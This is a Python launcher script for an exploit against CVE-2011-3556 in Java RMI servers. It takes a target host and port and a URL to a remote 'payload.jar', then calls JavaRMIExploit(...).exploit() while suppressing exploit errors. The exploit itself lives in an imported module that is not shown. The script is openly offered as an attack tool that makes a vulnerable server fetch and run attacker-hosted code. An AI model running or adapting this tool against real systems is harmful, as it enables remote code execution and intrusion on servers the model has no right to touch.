#!/usr/bin/env python3
# coding: utf-8

import argparse
import logging
import logging.config

import lib.cve_2011_3556 as cve

class SwallowException:
    """
    Swallows the given `exception` and executes the `callback` callable object (function, method, etc.) if specified.
    """

    def __init__(self, exception, callback=None):
        self.exception = exception
        self.callback = callback

    def __enter__(self):
        pass

    def __exit__(self, exception, *args):
        if exception and issubclass(exception, self.exception):
            if self.callback:
                self.callback()

            return True
        return False

def parse_args():
    """
    Parses command-line arguments using the standard `argparse` module.
    """

    parser = argparse.ArgumentParser(add_help=False)

    parser.add_argument("-h", "--host", 
        default="127.0.0.1", 
        metavar="IPADDR", 
        help="remote host IP address for the Java RMI server")

    parser.add_argument("-p", "--port", 
        default=1099, 
        type=int, 
        choices=range(1, 65536), 
        metavar="PORT", 
        help="remote port for the Java RMI server")

    parser.add_argument("-t", "--target", 
        required=True, 
        metavar="scheme://host:port/payload.jar", 
        help="binary file containing the remote class to load")

    parser.add_argument("--buffer-size", 
        default=1024, 
        type=int, 
        choices=range(256, 65536), 
        metavar="BYTES", 
        help="override the default socket buffer size")

    parser.add_argument("--help", 
        action="help", 
        help="display the help menu")

    parser.add_argument("--timeout", 
        default=5, 
        type=int, 
        choices=range(-1, 1001), 
        metavar="SECONDS", 
        help="override the default socket timeout duration")

    parser.add_argument("--version", 
        action="version", 
        version=".".join(map(str, cve.__version__)),
        help="display the current version")

    return parser.parse_args()

if __name__ == "__main__":
    # Parse the command-line argument(s).
    args = parse_args()

    # Set the logging configuration to display messages from the `cve_2011_3556` logger on the screen.
    logging.config.dictConfig({
        "version": 1,
        "disable_existing_loggers": True,
        "formatters": {
            "standard": {
                "format": "%(asctime)s %(levelname)-8s %(message)s",
                "datefmt": "%Y-%m-%d %H:%M:%S"
            }
        },
        "handlers": {
            "console": {
                "class": "logging.StreamHandler",
                "formatter": "standard",
                "level": "DEBUG"
            }
        },
        "loggers": {
            "java_rmi_exploit": {
                "level": "DEBUG",
                "handlers": [
                    "console"
                ]
            }
        }
    })

    # Launch the exploit without caring about exploit-related exception(s) (which are logged anyway).
    with SwallowException(cve.ExploitError):
        cve.JavaRMIExploit(
            args.host, 
            args.target, 
            port=args.port, 
            timeout=args.timeout, 
            buffer_size=args.buffer_size).exploit()